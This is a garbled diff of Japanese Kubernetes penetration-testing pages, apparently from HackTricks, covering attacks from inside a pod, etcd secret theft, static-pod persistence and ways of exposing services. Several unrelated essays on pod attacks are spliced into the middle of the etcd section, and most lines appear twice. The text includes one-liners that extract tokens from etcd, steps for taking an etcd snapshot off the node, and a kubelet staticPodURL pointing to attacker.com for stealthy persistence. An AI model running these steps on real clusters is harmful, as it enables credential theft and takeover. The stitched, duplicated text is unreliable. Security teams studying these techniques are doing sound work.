root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
@@ -199,20 +205,20 @@ echo ""
fi
done
```
スクリプト [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) は、自動的に**他の pod の token を取得し、探している権限を持っているかを確認します**1つずつ確認する代わりに):
スクリプト [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) は、自動的に**他の pods の tokens を取得し、あなたが探している permission を持っているかどうかを確認**します(1つずつ確認する代わりに):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
DaemonSet は、クラスタ内の**すべての node**で**実行**される**pod**です。したがって、DaemonSet が**privileged service account**で設定されている場合、**すべての node**で、その**privileged service account**の**token**を見つけて悪用できます。
DaemonSet は **pod**、クラスタ内の**すべての node実行**されす。したがって、DaemonSet が **privileged service account** で設定されている場合、**すべての node** で、その **privileged service account****token** を見つけることができ、悪用できます。
exploit は前のセクションと同じですが、今は運次第ではありません。
exploit は前のセクションと同じですが、今は運任せではありません。
### Pivot to Cloud
クラスタが cloud service によって管理されている場合、通常**Node** は Pod とは異なる **metadata** endpoint へのアクセス権を持ちます。したがって、**node から metadata endpoint にアクセス**してみてください(または hostNetwork True にした pod から):
クラスタが cloud サービスによって管理されている場合、通常 **Node** は Pod とは異なる **metadata** endpoint へのアクセス権を持ちます。したがって、**node から metadata endpoint にアクセス**してみてください(または hostNetwork True pod から):
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,183 +226,234 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
コンテナを実行する Node の [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) を指定できるなら、control-plane node で shell を取得し、**etcd database** を入手します:
コンテナを実行する Node の [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) を指定できるなら、control-plane node の中で shell を取得し、**etcd database** を入手します:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane ノード**role master** を持ち、**cloud managed clusters ではそれら上で何も実行できません**。
control-plane nodes **role master** を持ち、**cloud managed clusters ではそこで何かを実行することはできません**。
#### Read secrets from etcd 1
#### `etcd` 1 から secrets を読み取る
pod spec `nodeName` セレクタを使って pod を control-plane ノード上で実行できるなら、`etcd` データベースに簡単にアクセスできる可能性があります。そこには、すべての secrets を含むクラスターの全設定が格納されています
pod spec `nodeName` セレクタを使って control-plane node 上で pod を実行できるなら、cluster のすべての設定、すべての secrets を含む `etcd` database に簡単にアクセスできるかもしれません
以下は、`etcd`現在いる control-plane ノードで動いている場合に、`etcd` から secrets を素早く雑に取得する方法です。`etcdctl` という `etcd` client utility を使って pod を起動し、control-plane ノードの credentials を使って`etcd` がどこで動いていても接続する、より洗練された方法を知りたい場合は@mauilion の [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) を確認してください。
以下は、`etcd`自分のいる control-plane node 上で動いている場合に、そこから secrets を素早く雑に取得する方法です。`etcdctl` `etcd` client utility を使 pod を立ち上げ、control-plane node の credentials を使って `etcd` がどこで動いていても接続する、より洗練された方法が欲しいなら@mauilion の [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) をてください。
**`etcd` が control-plane ノードで動いているか確認し、database がどこにあるかを確認する(これは `kubeadm` で作成された cluster での話です**
**`etcd` が control-plane node で動いているか確認し、database がどこにあるかを見てください (これは `kubeadm` で作成された cluster です)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
# KubernetesのPod内からの攻撃
ローカルのpod内からKubernetesの設定を攻撃する
Kubernetesクラスターにアクセスできる場合、またはKubernetesクラスター内で特権付きPodを実行できる場合、Kubernetesに侵入できる可能性があります。
Podの中から攻撃する場合、あなたはすでにかなり強い立場にいます。多くのクラウドワークロードは、設定ミスにより過剰な権限を持つServiceAccountトークンや、他のPod、Secrets、またはクラスタ内の外部サービスにアクセスできるネットワーク到達性を与えられています。
ここでは、Pod内での初期アクセス後に実施できる一般的な手法をいくつか示します。
Pod内部で動作している場合、Pod内のローカル攻撃しかできないかもしれませんが、Kubernetesではこれで十分なことがあります。というのも、Pod内には通常、環境変数、マウントされた機密情報、その他の有用な情報があるからです。
- ServiceAccountトークンの列挙と利用
- Kubernetes APIへのアクセス
- Secretsの読み取り
- kubeletへのアクセス
- 共有ボリュームや設定の調査
- ノード上の他のコンテナやプロセスへの横展開
たとえば、Kubernetesで何らかの脆弱性を見つけてそれを悪用し、Pod内でコード実行を取得できたとします。ここでは、より大きなKubernetes侵害を引き起こすためのいくつかの可能性を示します。
## Cluster Information
Kubernetesの`/var/run/secrets/kubernetes.io/serviceaccount/token`内の`token`を使って、以下に接続できます。
- `https://kubernetes.default.svc`
- `https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT`
`token`は、以下のような情報にアクセスするために使用できます。
まず、現在の環境を確認します。
```bash
curl --header "Authorization: Bearer $token" https://kubernetes.default.svc/api/v1
env | grep -i kubernetes
```
## Enumeration
```bash
ls -la /var/run/secrets/kubernetes.io/serviceaccount
```
Pod内にいる間、接続しているKubernetesクラスターについて、任意の情報を列挙できます。たとえば、`namespace`名を取得することができます。
もしServiceAccountトークンが利用可能なら、Kubernetes APIに対して認証を試みます。
```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc
```
現在のnamespaceを確認します。
```bash
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```
`token`を取得するために、Kubernetes APIを使ってPod内のサービスアカウントを列挙できます。たとえば、[このNode.jsスクリプト](https://gist.github.com/JoelGMSec/63a7f7ae95a6bd753ec54f7e84d15fdb)を確認してください
APIへのアクセスが可能なら、次のような列挙を行います
```javascript
var request = require('request');
const fs = require('fs');
var file_path = '/var/run/secrets/kubernetes.io/serviceaccount/token';
var namespace = fs.readFileSync("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "utf8");
var k8s_token = fs.readFileSync(file_path, 'utf8');
var options = {
uri: `https://kubernetes.default.svc/api/v1/namespaces/${namespace}/pods`,
method: 'GET',
rejectUnauthorized: false,
headers: {
'Authorization': `Bearer ${k8s_token}`
}
};
request(options, function(error, response, body) {
var names = [];
var pods = JSON.parse(body);
pods.items.forEach(function(pod) {
names.push(pod.spec.serviceAccountName);
});
console.log(names);
});
```bash
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/apis
```
## Leaks
権限を確認します。
Podに足場を確保すると、`leak`の機会を探すべきです。取得できる機密情報には以下のようなものがあります。
```bash
kubectl auth can-i --list
```
- マウントされたボリューム
- 環境変数
- Kubernetesメタデータ
- AWSやGCPなどのクラウドサービスへの認証情報
`kubectl` が無い場合でも、APIを直接叩いてSecretsやPodを列挙できます。
## Access to the cluster
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
```
Kubernetes APIと対話できるサービスアカウントをダンプできれば、それを使ってクラスターにアクセスできる可能性があります
Kubernetesでは、設定ミスによりSecretsが環境変数やマウントされたファイルとして露出することがあります。Podの設定やマウントを確認してください
クラスターがクラウドプロバイダー上にある場合、ボリュームのどれかに接続された権限の昇格を見つけられることもあります。そうなれば、その権限を使ってKubernetesに直接アクセスできます。
```bash
mount
cat /proc/1/environ | tr '\0' '\n'
```
Kubernetesでは、`kubelet``/var/lib/kubelet/config.json``/var/lib/kubelet/kubeconfig`などのファイルへのアクセスを持つことがあります。これらは、Kubernetes APIへのアクセスに使えます。
また、ノード上のkubeletへのアクセスが可能な場合があります。kubeletはしばしば10250番ポートで動作しており、認証が弱い、または誤設定になっていることがあります。
`kubelet`はNodeのサービスのブートストラップやPodの起動に使われます。
```bash
curl -k https://127.0.0.1:10250/pods
```
また、`serviceaccount`を盗める場合、`rbac-authorization`を含むKubernetesクラスターへのアクセスに役立つことがあります。
## Container breakout
`container breakout`が可能なら、以下に接続してクラスター内部でのCode Executionを得られる場合があります。
- PodではなくNodeにrootとしてアクセスできる
- Podからホストの`root`ファイルシステムをマウントできる
- ホストの`docker`ソケットへのアクセスを得る
これにより、クラスターの外へ出て、ホスト上でコマンドを実行できるようになるかもしれません。
最後に、RBACの設定次第では、読み取り専用でも高価値な情報が得られます。たとえば、ConfigMapやSecret、ServiceAccountの情報、デプロイの環境変数、イメージ名、マウント先などです。これらを使って、クラスタ内の追加のattack surfaceを見つけます。
```bash
data-dir=/var/lib/etcd
```
**etcd database のデータを表示する:**
**etcd databaseのデータを表示する:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**データベースからtokensを抽出し、service account名を表示する**
**データベースから token を抽出し、service account 名を表示する**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**同じコマンドですが、kube-system namespace 内の default token だけを返すようにするためにいくつか grep を追加したもので**
**同じコマンドですが、kube-system namespace 内のデフォルト token のみを返すためにいくつか grep していま**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
# pod内からKubernetes攻撃する
# pod内からKubernetes攻撃
Kubernetesは便利です。Kubernetesはクラウドのデプロイをはるかに簡単にし、インフラの保守を容易にし、スケーラブルなアプリケーションの管理をかなり簡単にします。
Kubernetesを攻撃する際、APIやPodの内部から機密情報へアクセスするために、いくつかの方法があります。この章では、Pod内からKubernetesを攻撃する一般的な手法を紹介します。
しかし、Kubernetesを悪用すると、悪用に成功した場合に強力なアクセス権を得られる可能性があります。
Kubernetesでは、Podはノード上で動作するワークロードの基本単位です。Pod内から侵入者が実行コードを得た場合、そのPodに付与された権限を利用して、クラスタ内の他のリソースへ横展開できる可能性があります。
さらに、Kubernetes上で実行されているアプリケーションは、同じネットワーク内の他のKubernetes内サービスや、アクセス権がある場合にはクラスタ外のサービスとも相互作用できます。
## Service Account Token
この文書では、Kubernetesの仕組みを既に知っていることを前提にしますが、Kubernetesに精通していない場合は、[このリンク](../../kubernetes-security/kubernetes-from-the-reders-perspective.md)から始めるのがよいでしょう
各Podには、通常、`/var/run/secrets/kubernetes.io/serviceaccount/token` にマウントされた Service Account Token が含まれます。これは、そのPodのコンテナから Kubernetes API に認証するために使えます
この token を使うと、以下のような操作が可能です。
- Pod の一覧取得
- Secret の読み取り
- Deployment や ReplicaSet の列挙
- その Service Account に許可されたその他の操作
たとえば、次のように API を呼び出せます。
```bash
curl -k https://kubernetes.default.svc/api \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
```
RBAC の設定が弱い場合、Pod からクラスタ内の重要な情報を簡単に取得できることがあります。
## Mounted Volumes
Pod は、ConfigMap、Secret、PersistentVolume など、さまざまなボリュームをマウントできます。これらのボリュームには、機密データや認証情報が含まれている場合があります。
特に注意すべきポイントは次のとおりです。
- `/etc/``/root/` などのディレクトリにマウントされた Secret
- アプリケーション設定に使われる credentials
- 他のサービスに接続するための kubeconfig や token
Pod 内でファイルシステムを列挙すると、思わぬ leak を見つけられることがあります。
## Access to the Node
Pod が `hostPath` ボリュームを使っていたり、`privileged` で動作している場合、ノード上のファイルやプロセスへアクセスできる可能性があります。
この場合、次のような危険があります。
- ホストのファイルシステムの読み取り
- 他の Pod の情報へのアクセス
- ノード上で動作する daemon からの情報収集
特に `hostPath: /` のような設定は非常に危険です。ノード全体への侵害につながることがあります。
## Environment Variables
アプリケーションは、環境変数に Secret や token を保存していることがあります。Pod からシェルを取得できれば、`env` コマンドや `/proc/self/environ` で確認できます。
```bash
env
cat /proc/self/environ
```
ここで credentials や API key が見つかることがあります。
## Exposed Metadata or Internal Services
クラスタ内の一部サービスは、認証なしでアクセスできる内部 API や metadata サービスを公開していることがあります。Pod から内部ネットワークに到達できるなら、これらを悪用できる場合があります。
たとえば、内部の管理エンドポイントや cloud metadata service へのアクセスです。これにより、追加の token や設定情報が漏れることがあります。
## Summary
Pod 内から Kubernetes を攻撃する際は、まず次を確認します。
- Service Account Token
- Mounted Volumes
- Environment Variables
- `privileged``hostPath` の有無
- 内部サービスや metadata エンドポイントへの到達可否
これらを順に確認することで、Pod からクラスタ内のより高い権限へ進める可能性があります。
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### etcd 2 から secrets を読み取る [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### **`etcd` 2 から secrets を読む** [here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. **`etcd`** データベースのスナップショットを作成します。詳細は [**このスクリプト**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) を確認してください
2. 好きな方法で **`etcd`** スナップショットをノード外へ転送します
3. データベースを展開します:
1. **`etcd`** database の snapshot を作成する。詳細は [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) を確認。
2. 好きな方法で **`etcd`** snapshot を node の外へ transfer する
3. database を unpack する:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. ローカルマシンで **`etcd`** を起動し、盗んだ snapshot を使うようにします:
4. ローカルマシンで **`etcd`** を起動し、盗んだ snapshot を使用させる:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. すべての secrets を列挙する:
5. すべての secrets を一覧表示する:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. secfretsを取得する:
6. secfrets を取得する:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
_Static Pods_ は、API server が監視しない特定の node 上で、kubelet daemon によって直接管理されます。control plane によって管理される Pods(たとえば Deployment)とは異なり、**kubelet は各 static Pod を監視し**、失敗した場合は再起動します。
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
そのため、static Pods は常に特定の node 上の **1つの Kubelet にバインド**されます。
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
**kubelet は各 static Pod に対して、Kubernetes API server 上に mirror Pod を自動的に作成しようとします**。つまり、node 上で動作している Pods は API server から見えますが、そこから制御することはできません。Pod 名には、先頭にハイフンを付けた node hostname がサフィックスとして付きます。
> [!CAUTION]
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
> static Pod の **`spec` は他の API objects**(例: ServiceAccount, ConfigMap, Secret など)を参照できません。したがって、この挙動を悪用して、現在の node で任意の serviceAccount を持つ pod を起動し、cluster を compromise することはできません。ですが、これを使って別の namespace に pod を実行することはできます(何らかの理由でそれが役立つ場合)。
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
node host 内にいるなら、**その node 自身の中に static pod を作成**できます。これは、たとえば **kube-system** のような別の namespace に pod を作れる可能性があるので、とても便利です。
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
static pod を作成するには、[**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。基本的には 2 つ必要です。
- **kubelet service**、または **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) で param **`--pod-manifest-path=/etc/kubernetes/manifests`** を設定し、service を再起動する
- **kubelet service** **kubelet config** で、パラメータ **`--pod-manifest-path=/etc/kubernetes/manifests`** を設定し、サービスを再起動する([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)
- **`/etc/kubernetes/manifests`** に **pod definition** を作成する
**Another more stealth way would be to:**
**より stealth な方法としては、次のようにすることもできます:**
- **kubelet** config file の param **`staticPodURL`** を変更し、`staticPodURL: http://attacker.com:8765/pod.yaml` のように設定する。これにより kubelet process は、**指定された URL から configuration を取得して** **static pod** を作成する
- **kubelet** config file にあるパラメータ **`staticPodURL`** を変更し、`staticPodURL: http://attacker.com:8765/pod.yaml` のように設定する。これにより kubelet process は、**指定された URL から configuration を取得して static pod を作成**します
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**kube-system** に privileged pod を作成するための **pod** configuration の**例**は [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) から:
```yaml
apiVersion: v1
kind: Pod
@@ -424,7 +481,7 @@ type: Directory
```
### Delete pods + unschedulable nodes
攻撃者が**ノードを侵害**しており、他のノードから**podsを削除**でき、さらに他のノードで**podsを実行できないように**できる場合、podsは侵害されたノード上で再実行され、そこで実行されている**tokensを盗める**ようになります。\
攻撃者が**nodeをcompromised**しており、他のnodeから**podsをdelete**でき、さらに他のnodeで**podsを実行できない**状態にできるなら、そのpodsはcompromisedなnode上で再実行され、そこで動いている**tokensをsteal**できる。\
[**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -1,12 +1,12 @@
# Exposing Services in Kubernetes
# Kubernetesでのサービスの公開
{{#include ../../banners/hacktricks-training.md}}
Kubernetes には **サービスを公開するさまざまな方法** があり、**内部** エンドポイントと **外部** エンドポイントの両方からアクセスできます。この Kubernetes の設定はかなり重要で、管理者が **攻撃者に、本来アクセスできないはずのサービスへのアクセス権** を与えてしまう可能性があります。
Kubernetesでは、**サービスを公開する**ためのさまざまな方法があり、**内部**エンドポイントと**外部**エンドポイントの両方からアクセスできます。このKubernetesの設定は非常に重要で、管理者が本来アクセスできないはずの**攻撃者にサービスへのアクセス権**を与えてしまう可能性があります。
### Automatic Enumeration
K8s がサービスを public に公開するために用意している方法を列挙し始める前に、namespaces、services、ingresses を列挙できるなら、public に公開されているものはすべて次の方法で見つけられることを知っておいてください:
K8sがサービスをpublicに公開する方法を列挙し始める前に、namespaces、services、ingresses を一覧表示できるなら、publicに公開されているものはすべて次の方法で見つけられることを知っておいてください:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
```
### ClusterIP
**ClusterIP** サービスは、**デフォルト**の Kubernetes **service** です。これは、クラスター内の他のアプリがアクセスできる、クラスター**内service** を提供します。**外部からのアクセスはありません**。
**ClusterIP** サービスは、Kubernetes の**デフォルト**の **service** です。これは、クラスター内の他のアプリがアクセスできる、クラスター**内**の **service** を提供します。**外部アクセスはありません**。
ただし、これは Kubernetes Proxy を使ってアクセスできます:
ただし、Kubernetes Proxy を使ってアクセスできます:
```bash
kubectl proxy --port=8080
```
Now, Kubernetes API を通じてこの scheme を使い services に access できます:
このスキームを使って Kubernetes API を経由して services にアクセスできます:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
えば、以下の URL を使えます:
たとえば、の URL を使えます:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
この service に access するためです:
この service にアクセスするには:
```yaml
apiVersion: v1
kind: Service
@@ -52,13 +52,13 @@ protocol: TCP
```
_この方法では、`kubectl` を **認証済みユーザー** として実行する必要があります。_
すべての ClusterIP を一覧表示する:
すべての ClusterIPs を一覧表示する:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
**NodePort** が利用されると、指定されたポートがすべての NodesVirtual Machines を表す)で公開されます。**Traffic** この特定のポートに向けられた後、**service にルーティング**されます。通常、この方法は欠点があるため推奨されません。
**NodePort** が利用されると、指定されたポートがすべての NodeVirtual Machines を表す)で利用可能になります。**Traffic** この特定のポートに向けられると、**service にルーティング**されます。通常、この方法は欠点があるため推奨されません。
すべての NodePorts を一覧表示:
```bash
@@ -81,24 +81,25 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
yamlで**nodePort**を**指定しない**場合(これは開かれるポートです)、**30000–32767の範囲**のポートが使れます。
yamlで **nodePort** を**指定しない**場合(それが開かれるポートです)、**30000–32767** の範囲のポートが使用されます。
NodePortまたはLoadBalancer Servicesを確認する際は、traffic-policyフィールドも調べてください。これらは、特定の送信元から見てどのnodesbackendsが有用かを変えるためです:
NodePort または LoadBalancer Services を確認する際は、traffic-policy フィールドも調べてください。これらは、特定の送信元から見てどの nodesbackends が有用かを変えるためです:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` は、NodePort/LoadBalancer のトラフィックで元の client source IP を保持し、他の node 上の endpoint への forwarding を回避します。local の ready endpoint を持たない node は、Service に他の場所で endpoint があっても traffic を drop する場合があります
- `externalTrafficPolicy: Cluster` は default で、任意の node を経由して forwarding できますが、backend logs には実際の external client IP ではなく node IP が記録されることがあります。
- `internalTrafficPolicy: Local` は、in-cluster の Service traffic を source node に local な endpoint に制限します。これは locality routing であり、authorization boundary ではありません
- `sessionAffinity: ClientIP` により、1つの client からの repeated tests が同じ backend に当たりやすくなり、manual checks 中に他の ready endpoint が見えなくなることがありま
- `trafficDistribution` と EndpointSlice topology hints は、新しい cluster では同じ zone や同じ node の endpoint を優先できます。これらは hard security policy ではなく routing preference として扱ってください
- NodePorts は通常 node のアドレスに対して公開されますが、kube-proxy は `--nodeport-addresses` または設定内の `nodePortAddresses` によりアドレス範囲を制限できます。NodePort がすべての node IP で到達可能だと決めつける前に、稼働中の kube-proxy か CNI の service-proxy replacement の設定を確認してください
- `externalTrafficPolicy: Local` は NodePort/LoadBalancer traffic に対して元の client source IP を保持し、他の node 上の endpoints への forwarding を避けます。local の ready endpoint がない node では、Service に別の場所に endpoints があっても traffic を drop することがあります。
- `externalTrafficPolicy: Cluster` は default で、任意の node 経由で forwarding できますが、backend logs には実際の external client IP ではなく node IP が見える場合がありま
- `internalTrafficPolicy: Local` は、cluster 内の Service traffic を source node 上の local endpoints に限定します。これは locality routing であり、authorization boundary ではありません
- `sessionAffinity: ClientIP` により、1 つの client からの繰り返しの test が同じ backend に当たりやすくなり、手動確認時に他の ready endpoints が見えなくなることがあります
- `trafficDistribution` と EndpointSlice の topology hints は、新しい cluster では同じ zone や同じ node の endpoints を優先できます。これらは hard security policy ではなく、routing preference として扱ってください。
### LoadBalancer
**cloud provider's load balancer** を使って Service を外部に公開します。GKE では、[Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) が起動し、すべての traffic を service に forwarding する単一の IP address が割り当てられます。AWS では Load Balancer が起動します。
cloud provider load balancer**使って** Service を外部に公開します。GKE では、これにより [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) が起動し、1 つの IP address が割り当てられて、その traffic をすべて your service に forwarding ます。AWS では Load Balancer が起動します。
公開された service ごとに LoadBalancer の料金が発生するため、コストが高くなることがあります。
公開された service ごとに LoadBalancer の料金がかかるため、高額になる可能性があります。
すべての LoadBalancers を一覧表示する:
```bash
@@ -107,15 +108,15 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
### External IPs
> [!TIP]
> External IPs は type Load Balancers の services によって exposed され、通常は external Cloud Provider Load Balancer が使われている場合に使用されます。
> External IPs は type Load Balancers の services によって exposed され、一般的には external Cloud Provider Load Balancer が使われる場合に用されます。
>
> 見つけるには、`EXTERNAL-IP` フィールドに値が入っている load balancers を確認してください。
**external IP****destination IP** として) cluster に ingress する traffic は、Service port で **Service endpoints のいずれか routed されます**`externalIPs` は Kubernetes によって managed されず、cluster administrator の責任です。
**external IP****destination IP** として)を使って cluster に ingress する traffic は、Service port で **Service endpoints のいずれか routed** されます`externalIPs` は Kubernetes によって managed されず、cluster administrator の責任です。
`externalIPs` は sensitive な route-control field です。なぜなら、これを set できる user は、周囲の network がその IP を cluster に route している場合、Service owner が control すべきでない IP address の traffic を claim できからです。Kubernetes は v1.36 で Service `externalIPs` の deprecation と planned removal を announce しているため、可能な LoadBalancer integrations や Gateway API などの controller-owned exposure mechanisms を優先し、この field がまだ存在する間も慎重に restrict/admit してください。
`externalIPs` は sensitive な route-control field です。なぜなら、これを設定できる user は、周囲の network がその IP を cluster に route している場合、Service owner が control すべきでない IP address の traffic を claim できてしまうからです。Kubernetes は v1.36 で Service `externalIPs` の deprecation と将来の removal を発表しているため、可能な限り LoadBalancer integrations や Gateway API のような controller-owned exposure mechanisms を使い、この field がまだ存在する間も慎重に restrict/admit してください。
Service spec では、`externalIPs` は任意の `ServiceTypes` と一緒に指定できます。以下の例では、"`my-service`""`80.11.12.10:80`"`externalIP:port`)上の clients から access できます。
Service spec では、`externalIPs` は任意の `ServiceTypes` と一緒に指定できます。以下の例では、`"my-service"`clients から `"80.11.12.10:80"` (`externalIP:port`) で access できます。
```yaml
apiVersion: v1
kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**ドキュメントより:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName の Services は、典型的な selector である `my-service``cassandra` ではなく、**Service を DNS にマップ**します。これらの Services は `spec.externalName` パラメータで指定します。
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) type ExternalName の Services は、通常の selector である `my-service``cassandra` ではなく、**Service を DNS name にマップ**します。これらの Services は `spec.externalName` パラメータで指定します。
たとえば、この Service 定義`prod` namespace `my-service` Service を `my.database.example.com` にマップします:
たとえば、この Service definition `prod` namespace の `my-service` Service を `my.database.example.com` にマップします
```yaml
apiVersion: v1
kind: Service
@@ -147,34 +148,36 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
ホスト `my-service.prod.svc.cluster.local`参照すると、cluster DNS Service は値 `my.database.example.com``CNAME` レコードを返します。`my-service` へのアクセスは他の Services と同じように機能しますが、重要な違いとして、**redirection は proxying や forwarding ではなく DNS レベルで行われる** 点があります。
`my-service.prod.svc.cluster.local`検索すると、cluster DNS Service は値 `my.database.example.com``CNAME` レコードを返します。`my-service` へのアクセスは他の Services と同じように動作しますが、決定的な違いは、**リダイレクトが proxying や forwarding ではなく DNS レベルで発生する** ことです。
すべての ExternalNames を一覧表示します:
Security review note: もし Ingress controller、Gateway implementation、service mesh、または application が ExternalName Service を backend として受け入れる場合、その controller は自身の network position から external name を resolve して到達する可能性があります。これにより、ユーザーが route object と ExternalName Service の両方を作成できる場合、public routing infrastructure を通じて internal-only services が露出する可能性があります。安全と判断する前に、特定の controller implementation と version、ExternalName support flags や allowlists、route status、そして正確な target domain を確認してください。例えば、Skipper は v0.24.0 で Kubernetes ExternalName SSRF issue を修正し、デフォルトで ExternalName backends を無効化し、allowlist option を文書化しました。
List all ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices は、Service が現在ルーティングしている具体的な backend のアドレスとポートを示します。Service に selector がない場合、labels だけでは traffic の経路が分からない場合、または一部の backend だけが ready な場合に特に有用です。
EndpointSlices は、Service が現在ルーティングしている具体的な backend のアドレスとポートを示します。Service に selector がない場合、labels だけでは traffic path が分からない場合、または一部の backend だけが ready な場合に特に有用です。
Service に関連付けられた EndpointSlices を一覧表示します:
Service に関連付けられた EndpointSlices を一覧表示す:
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
